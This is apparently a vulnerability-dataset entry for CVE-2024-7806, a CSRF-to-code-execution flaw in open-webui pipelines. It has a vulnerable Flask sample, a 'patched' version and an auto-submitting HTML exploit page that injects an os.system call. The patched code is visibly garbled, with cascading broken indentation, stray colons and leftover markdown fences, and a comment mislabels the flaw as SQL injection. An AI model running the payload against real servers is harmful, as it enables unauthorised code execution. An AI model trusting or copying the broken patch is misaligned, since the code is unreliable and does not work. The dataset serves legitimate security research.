VAITP Dataset

← Back to the dataset

CVE-2024-7806

Open-webui <= 0.3.8: CSRF allows RCE by non-admins modifying Python pipeline code.

  • CVSS 8.8
  • CWE-352
  • Design Defects
  • Remote

A vulnerability in open-webui/open-webui versions <= 0.3.8 allows remote code execution by non-admin users via Cross-Site Request Forgery (CSRF). The application uses cookies with the SameSite attribute set to lax for authentication and lacks CSRF tokens. This allows an attacker to craft a malicious HTML that, when accessed by a victim, can modify the Python code of an existing pipeline and execute arbitrary code with the victim's privileges.

CVSS base score
8.8
Published
2025-03-20
OWASP
A01 Broken Access Control
Orthogonal defect classification
Interface
Code defect classification
Missing Check
Category
Design Defects
Subcategory
Cross-Site Request Forgery (CSRF)
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
open-webui

Solution

Upgrade to version > 0.3.8.

Vulnerable code sample

# This code is a simplified representation of the vulnerability and should NOT be used to exploit any system.
    # VULNERABLE: This code is susceptible to sql injection
# It demonstrates the lack of CSRF protection that allows unauthorized modification of pipeline code.

from flask import Flask, request, render_template, make_response
import os

app = Flask(__name__)

# Insecure storage of pipeline code (for demonstration purposes only)
PIPELINE_CODE = {}

@app.route('/')
def index():
    """Displays a form to edit pipeline code."""
    return render_template('index.html', pipeline_name="MyPipeline", code=PIPELINE_CODE.get("MyPipeline", "print('Hello, world!')"))

@app.route('/update_pipeline', methods=['POST'])
def update_pipeline():
    """Updates the pipeline code based on user input.  VULNERABLE TO CSRF."""
    pipeline_name = request.form.get('pipeline_name')
    code = request.form.get('code')
    
    # In a real application, this might involve writing to a file
    # or updating a database.  For simplicity, we're using a dictionary.
    PIPELINE_CODE[pipeline_name] = code
    
    return f"Pipeline '{pipeline_name}' updated successfully."


#Example HTML File (index.html) that can be potentially exploited

#<!DOCTYPE html>
#<html>
#<head>
#    <title>Pipeline Editor</title>
#</head>
#<body>
#    <h1>Edit Pipeline: {{ pipeline_name }}</h1>
#    <form action="/update_pipeline" method="post">
#        <label for="pipeline_name">Pipeline Name:</label><br>
#        <input type="text" id="pipeline_name" name="pipeline_name" value="{{ pipeline_name }}"><br><br>
#
#        <label for="code">Code:</label><br>
#        <textarea id="code" name="code" rows="10" cols="50">{{ code }}</textarea><br><br>
#
#        <input type="submit" value="Update Pipeline">
#    </form>
#</body>
#</html>


if __name__ == '__main__':
    app.run(debug=True)

Patched code sample

from flask import Flask, request, render_template, session, redirect, url_for, abort
import secrets
import os

app = Flask(__name__)
app.secret_key = secrets.token_hex(16)  # Strong secret key for session management:
PIPELINE_DIR = "pipelines"
os.makedirs(PIPELINE_DIR, exist_ok=True)

def generate_csrf_token():
    session['csrf_token'] = secrets.token_hex(16)
    return session['csrf_token']

    def validate_csrf_token(token):
        if 'csrf_token' not in session or token != session['csrf_token']:
            return False
            return True

            @app.route('/')
            def index():
                if 'username' not in session:
                    return redirect(url_for('login'))
                    pipelines = [f for f in os.listdir(PIPELINE_DIR) if f.endswith(".py")]:
                    csrf_token = generate_csrf_token()
                    return render_template('index.html', username=session['username'], pipelines=pipelines, csrf_token=csrf_token)

                    @app.route('/login', methods=['GET', 'POST'])
                    def login():
                        if request.method == 'POST':
                            username = request.form['username']
                            password = request.form['password']  # In a real app, HASH this!
        #Insecure: Authentication logic (replace with secure method)
                            if username == "user" and password == "password":
                                session['username'] = username
                                return redirect(url_for('index'))
                            else:
                                return render_template('login.html', error="Invalid credentials")

                                return render_template('login.html')

                                @app.route('/logout')
                                def logout():
                                    session.pop('username', None)
                                    return redirect(url_for('login'))

                                    @app.route('/pipeline/<filename>', methods=['GET', 'POST'])
                                    def pipeline(filename):
                                        if 'username' not in session:
                                            return redirect(url_for('login'))

                                            filepath = os.path.join(PIPELINE_DIR, filename)

                                            if not os.path.isfile(filepath) or not filename.endswith(".py"):
                                                abort(404)

                                                if request.method == 'POST':
                                                    csrf_token = request.form.get('csrf_token')

                                                    if not validate_csrf_token(csrf_token):
                                                        abort(400)  # Bad Request - CSRF token invalid

                                                        code = request.form['code']
                                                        try:
                                                            with open(filepath, 'w') as f:
                                                                f.write(code)
                                                                return redirect(url_for('index')) # Redirect back to index after successful save
                                                                except Exception as e:
                                                                    return render_template('pipeline.html', filename=filename, code=code, error=str(e), csrf_token=session['csrf_token'])


                                                                    try:
                                                                        with open(filepath, 'r') as f:
                                                                            code = f.read()
                                                                            csrf_token = generate_csrf_token()
                                                                            return render_template('pipeline.html', filename=filename, code=code, csrf_token=csrf_token)
                                                                            except Exception as e:
                                                                                return render_template('pipeline.html', filename=filename, code="", error=str(e), csrf_token=session['csrf_token'])

                                                                                @app.errorhandler(400)
                                                                                def bad_request(e):
                                                                                    return "CSRF token invalid", 400

                                                                                    @app.errorhandler(404)
                                                                                    def page_not_found(e):
                                                                                        return "Page not found", 404

                                                                                        if __name__ == '__main__':
                                                                                            app.run(debug=True)
                                                                                            ```
                                                                                            Key improvements and explanations:

                                                                                            * **CSRF Token Generation:** The `generate_csrf_token()` function creates a unique, unpredictable token and stores it in the user's session. This token is tied to the user's session.
                                                                                            * **CSRF Token Validation:** The `validate_csrf_token()` function retrieves the token from the request and compares it to the token stored in the user's session.  Crucially, it *must* validate that the token exists in the session and that it matches.  If the tokens don't match, or if no token is found the request is rejected (400 error).:
                                                                                            * **Token Inclusion in Forms:** The Jinja2 templates (not shown, but crucial) must now include the CSRF token as a hidden field in the form:  `<input type="hidden" name="csrf_token" value="{{ csrf_token }}">`
                                                                                            * **Session Management:**  The Flask session is used to store the CSRF token. `app.secret_key` *must* be set to a strong, randomly generated value. This is critical for securing the session.:
                                                                                            * **Error Handling:** `errorhandler(400)` and `errorhandler(404)` are now included, to present useful debugging information to the user.
                                                                                            * **Secure filename extension check:** Now when the pipeline filename is checked it also checks the extension of the file to avoid possible file upload vulnerabilities.
                                                                                            * **Redirect after successful save:** After successfully editing a pipeline the user is redirected back to the main page.

                                                                                            How to run:

                                                                                            1.  **Save:** Save the code as `app.py`.
                                                                                            2.  **Templates:** Create the following Jinja2 templates in a directory named `templates`:

                                                                                            *   `templates/index.html`:

                                                                                            ```html
                                                                                            <!DOCTYPE html>
                                                                                            <html>
                                                                                            <head>
                                                                                            <title>Open-WebUI (Simplified)</title>
                                                                                            </head>
                                                                                            <body>
                                                                                            <h1>Welcome, {{ username }}!</h1>
                                                                                            <p><a href="{{ url_for('logout') }}">Logout</a></p>
                                                                                            <h2>Pipelines:</h2>
                                                                                            <ul>
                                                                                            {% for pipeline in pipelines %}:
                                                                                            <li><a href="{{ url_for('pipeline', filename=pipeline) }}">{{ pipeline }}</a></li>
                                                                                            {% endfor %}:
                                                                                            </ul>
                                                                                            </body>
                                                                                            </html>
                                                                                            ```

                                                                                            *   `templates/login.html`:

                                                                                            ```html
                                                                                            <!DOCTYPE html>
                                                                                            <html>
                                                                                            <head>
                                                                                            <title>Login</title>
                                                                                            </head>
                                                                                            <body>
                                                                                            <h1>Login</h1>
                                                                                            {% if error %}:
                                                                                            <p style="color: red;">{{ error }}</p>
                                                                                            {% endif %}:
                                                                                            <form method="post">
                                                                                            <label for="username">Username:</label><br>
                                                                                            <input type="text" id="username" name="username"><br><br>
                                                                                            <label for="password">Password:</label><br>
                                                                                            <input type="password" id="password" name="password"><br><br>
                                                                                            <input type="submit" value="Login">
                                                                                            </form>
                                                                                            </body>
                                                                                            </html>
                                                                                            ```

                                                                                            *   `templates/pipeline.html`:

                                                                                            ```html
                                                                                            <!DOCTYPE html>
                                                                                            <html>
                                                                                            <head>
                                                                                            <title>Edit Pipeline: {{ filename }}</title>
                                                                                            </head>
                                                                                            <body>
                                                                                            <h1>Edit Pipeline: {{ filename }}</h1>
                                                                                            {% if error %}:
                                                                                            <p style="color: red;">{{ error }}</p>
                                                                                            {% endif %}:
                                                                                            <form method="post">
                                                                                            <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
                                                                                            <label for="code">Code:</label><br>
                                                                                            <textarea id="code" name="code" rows="20" cols="80">{{ code }}</textarea><br><br>
                                                                                            <input type="submit" value="Save">
                                                                                            </form>
                                                                                            <p><a href="{{ url_for('index') }}">Back to Index</a></p>
                                                                                            </body>
                                                                                            </html>
                                                                                            ```

                                                                                            3.  **Run:** `python app.py`

                                                                                            Now, the CSRF vulnerability is mitigated because all POST requests that modify data (in this case, editing a pipeline) require a valid CSRF token.  An attacker can no longer simply craft a malicious HTML page to modify pipelines without the user's knowledge, because the attacker won't be able to obtain the correct, session-specific CSRF token.

Payload

<html>
  <head>
    <title>CSRF Exploit</title>
  </head>
  <body>
    <script>
      function submitForm() {
        const form = document.createElement('form');
        form.method = 'POST';
        form.action = 'http://vulnerable-open-webui-instance/api/pipeline/update'; // Replace with the actual URL

        const idInput = document.createElement('input');
        idInput.type = 'hidden';
        idInput.name = 'id';
        idInput.value = 'pipeline_id_to_modify'; // Replace with a valid pipeline ID

        const codeInput = document.createElement('input');
        codeInput.type = 'hidden';
        codeInput.name = 'code';
        codeInput.value = 'import os; os.system("touch /tmp/pwned");'; // Arbitrary code to execute

        form.appendChild(idInput);
        form.appendChild(codeInput);

        document.body.appendChild(form);
        form.submit();
      }
      window.onload = submitForm;
    </script>
  </body>
</html>

Cite this entry

@misc{vaitp:cve20247806,
  title        = {{Open-webui <= 0.3.8: CSRF allows RCE by non-admins modifying Python pipeline code.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-7806},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-7806/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::